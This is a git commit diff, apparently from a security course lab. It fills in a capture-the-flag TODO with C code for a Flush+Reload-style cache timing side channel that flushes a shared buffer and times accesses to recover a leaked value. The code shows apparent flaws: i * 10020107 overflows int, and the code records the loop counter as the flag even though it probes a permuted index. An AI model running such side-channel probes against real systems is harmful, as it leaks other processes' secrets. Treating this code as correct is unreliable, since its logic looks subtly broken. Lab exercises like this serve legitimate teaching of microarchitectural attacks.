part2 ver 0.1
This commit is contained in:
		
							parent
							
								
									5dd5cbb980
								
							
						
					
					
						commit
						b2ad429c8c
					
				| 
						 | 
				
			
			@ -8,7 +8,8 @@
 | 
			
		|||
 | 
			
		||||
#include "util.h"
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
#define CACHE_HIT_THRESHOLD 200
 | 
			
		||||
#define WAIT_TIME 100
 | 
			
		||||
int main() {
 | 
			
		||||
    int flag = -1;
 | 
			
		||||
 | 
			
		||||
| 
						 | 
				
			
			@ -16,7 +17,17 @@ int main() {
 | 
			
		|||
    char *buf = allocate_shared_buffer();
 | 
			
		||||
 | 
			
		||||
    // [2.1] TODO: Put your capture-the-flag code here
 | 
			
		||||
 | 
			
		||||
    for(int i = 0; i < 1024; i++) {
 | 
			
		||||
        clflush((ADDR_PTR)buf + i * 128);
 | 
			
		||||
    }
 | 
			
		||||
    for(int i = 0; i < WAIT_TIME; i++);
 | 
			
		||||
    for(int i = 0; i < 1024; i++) {
 | 
			
		||||
        CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
 | 
			
		||||
        if(time < CACHE_HIT_THRESHOLD) {
 | 
			
		||||
            flag = i;
 | 
			
		||||
            break;
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
    printf("Flag: %d\n", flag);
 | 
			
		||||
 | 
			
		||||
    deallocate_shared_buffer(buf);
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
		Loading…
	
		Reference in New Issue